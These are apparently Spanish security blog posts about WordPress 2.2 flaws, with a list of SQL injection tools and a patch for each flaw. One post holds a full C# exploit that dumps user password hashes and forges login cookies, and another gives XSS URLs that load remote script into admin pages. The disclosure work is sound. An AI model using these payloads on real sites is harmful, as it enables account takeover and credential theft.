15 herramientas gratuitas para detectar vulnerabilidades de Inyección de SQL

Una fallo de inyección de SQL (o SQL Injection en inglés) es ...

...es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Según estadísticas publicadas por WhiteHack Security, los fallos de inyección de SQL y otro tipo de vulnerabilidades afectan a un gran número de sitios web, por lo que el uso de herramientas automatizadas que detecten posibles problemas de seguridad son más que recomendables.

En Security-Hacks, han publicado una lista de herramientas destinadas a encontrar y explotar vulnerabilidades de inyección de SQL.

  1. SQLIer
  2. SQLbftools
  3. SQL Injection Brute-forcer
  4. SQLBrute
  5. BobCat
  6. SQLMap
  7. Absinthe
  8. SQL Injection Pen-testing Tool
  9. SQID
  10. Blind SQL Injection Perl Tool
  11. SQL Power Injector
  12. FJ-Injector Framwork
  13. SQLNinja
  14. Automagic SQL Injector
  15. NGSS SQL Injector

Para evitar este tipo de ataques se debe hacer uso de consultas parametrizadas o funciones que el lenguaje de programación provea para este fin, en lo posible no debemos reinventar la rueda y hacer funciones que algunas veces no sirven de nada.

SQL Injection en WordPress 2.2 + exploit incluido

Como comentaba en una entrada anterior, la versión 2.2 y la versión en desarrollo de este CMS también son vulnerables a SQL Injection, aunque es más limitado que el anterior por requerir de un usuario válido.

El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories, en el archivo xmlrpc.php:

php:
function wp_suggestCategories($args) {
        global $wpdb;

        $this->escape($args);

        $blog_id                                = (int) $args[0];
        $username                            = $args[1];
        $password                            = $args[2];
        $category                            = $args[3];
        $max_results            = $args[4];

        if(!$this->login_pass_ok($username, $password)) {
                return($this->error);
        }

        // Only set a limit if one was provided.
        $limit = "";
        if(!empty($max_results)) {
                $limit = "LIMIT {$max_results}";
        }

        $category_suggestions = $wpdb->get_results("
                SELECT cat_ID category_id,
                        cat_name category_name
                FROM {$wpdb->categories}
                WHERE cat_name LIKE '{$category}%'
                {$limit}
        ");

        return($category_suggestions);
}

Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.

Preparé un pequeño exploit que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.

csharp:
using System;
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

class Program
{
    static void Main(string[] args)
    {
        string targetUrl = "http://localhost/wp/";
        string login = "alex";
        string password = "1234";

        string data = @"<methodCall>
  <methodName>wp.suggestCategories</methodName>
  <params>
    <param><value>1</value></param>
    <param><value>{0}</value></param>
    <param><value>{1}</value></param>
    <param><value>1</value></param>
    <param><value>0 UNION ALL SELECT user_login, user_pass FROM {2}users</value></param>
  </params>
</methodCall>"
;

        string cookieHash = GetCookieHash(targetUrl);

        using (WebClient request = new WebClient())
        {
            /* Probar con el prefijo por omisión */
            string response = request.UploadString(targetUrl + "xmlrpc.php",
                string.Format(data, login, password, "wp_svn_"));

            /* Se hace una nueva petición si la consulta anterior falla */
            Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
            if (match.Success)
            {
                response = request.UploadString(targetUrl + "xmlrpc.php",
                    string.Format(data, login, password, match.Groups[1].Value));
            }

            try
            {
                XmlDocument doc = new XmlDocument();
                doc.LoadXml(response);

                XmlNodeList nodes = doc.SelectNodes("//struct/member/value");

                if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
                {
                    string user, pass;
                    /* Mostrar lista de:
                     * Usuario     md5(contraseña)
                     * Cookie de Autenticación
                     *
                     */

                    for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
                    {
                        user = nodes.Item(i).InnerText;
                        pass = nodes.Item(i + 1).InnerText;
                        Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
                            user,
                            pass);
                        Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
                            cookieHash,
                            user,
                            MD5(pass));
                    }
                }
                else
                {
                    Console.WriteLine("Error:\n{0}", response);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error:\n" + ex.ToString());
            }
        }
    }

    private static string GetCookieHash(string targetUrl)
    {
        WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
        request.Method = "HEAD";
        (request as HttpWebRequest).AllowAutoRedirect = false;

        WebResponse response = request.GetResponse();
        if (response != null)
        {
            Match match = Regex.Match(response.Headers["Set-Cookie"],
                    @"wordpress[a-z]+_([a-z\d]{32})",
                    RegexOptions.IgnoreCase);

            if (match.Success)
                return match.Groups[1].Value;
        }
        return string.Empty;
    }
    public static string MD5(string password)
    {
        MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
        byte[] bs = Encoding.UTF8.GetBytes(password);
        bs = x.ComputeHash(bs);
        StringBuilder s = new StringBuilder();
        foreach (byte b in bs)
        {
            s.Append(b.ToString("x2").ToLower());
        }
        return s.ToString();
    }
}

Para corregir este problema, mientras liberan actualizaciones para WordPress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php. 😉

Actualización: Pueden aplicar el parche oficial (es lo mismo que sugerí)

Más vulnerabilidades XSS para WordPress

Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para WordPress 2.2.

Siguen reportándose más bugs de WordPress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php. Estos errores al parecer están presentes en todas las versiones de WordPress.

Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):

code:

http://www.site.com/path.to/wp-admin/post-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de WordPress:

diff:
Index: wp-admin/edit-form-advanced.php
===================================================================
--- wp-admin/edit-form-advanced.php     (revision 5508)
+++ wp-admin/edit-form-advanced.php     (working copy)
@@ -140,7 +140,7 @@
 
 <fieldset id="titlediv">
        <legend><?php _e('Title') ?></legend>
-       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 <fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
 
 <fieldset id="titlediv">
   <legend><?php _e('Page Title') ?></legend>
-  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php      (revision 5508)
+++ wp-admin/user-edit.php      (working copy)
@@ -76,7 +76,7 @@
 <form name="profile" id="your-profile" action="user-edit.php" method="post">
 <?php wp_nonce_field('update-user_' . $user_id) ?>
 <?php if ( $wp_http_referer ) : ?>
-       <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+       <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
 <?php endif; ?>
 <p>
 <input type="hidden" name="from" value="profile" />
 

Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".

Seguridad de WordPress y la [triste] realidad

Ante los múltiples fallos de seguridad reportados en WordPress durante este año, muchos hemos publicado artículos sobre problemas de seguridad tanto del core de WordPress como de algunos plugins, también se publicó material sobre como desarrollar plugins seguros y hasta dado consejos para mejorar la seguridad de un blog; sin embargo, parece que este esfuerzo no parece reflejarse en los usuarios de a pie.

Esta racha de vulnerabilidades, se debe no sólo a que éste CMS es cada vez más complejo y popular, sino también, como mencionaba anteriormente, a la falta de interés o desconocimiento (¿falta de documentación?) de aspectos relacionados a la seguridad por parte de los desarrolladores de temas y plugins.

WordPress has become one of the most popular blogging packages on the Internet; this is largely due to its ease of use and its object oriented design which allows the user to easily extend its capabilities in the form of WordPress Plugins.

Unfortunately, "ease of use", and "security" are to often like lemon and milk.

David Kierznowski hizo público los resultados de una pequeña encuesta realizada sobre 50 blogs que usan WordPress, de los cuáles 49 de ellos eran potencialmente vulnerables porque usan versiones desactualizadas.

Versión de WordPress N° de Blogs
1.2 2
1.2-beta 2
1.2.1 3
1.2.2 4
1.5 7
1.5-gamma 1
1.5.1.1 1
1.5.1.2 1
1.5.2 1
2.0 4
2.0.1 3
2.0.2 1
2.0.3 1
2.0.4 6
2.0.5 3
2.0.6 2
2.1 2
2.1.2 2
2.1.3 3
2.2 1
Total 50

Está claro que el principal problema al igual que otro tipo de aplicaciones, es que no hay una forma efectiva de que el usuario final se entere y aplique, sin mayor esfuerzo y con menos dolores de cabeza, las actualizaciones de seguridad que se liberan...

Luego de presenciar y reportar varios problemas de seguridad de WordPress en este año, ya no creo que éste CMS (+plugins) sea lo suficientemente estable como para poner mis manos al fuego y ser [tan] audaz como algunos para decir que es seguro 🙂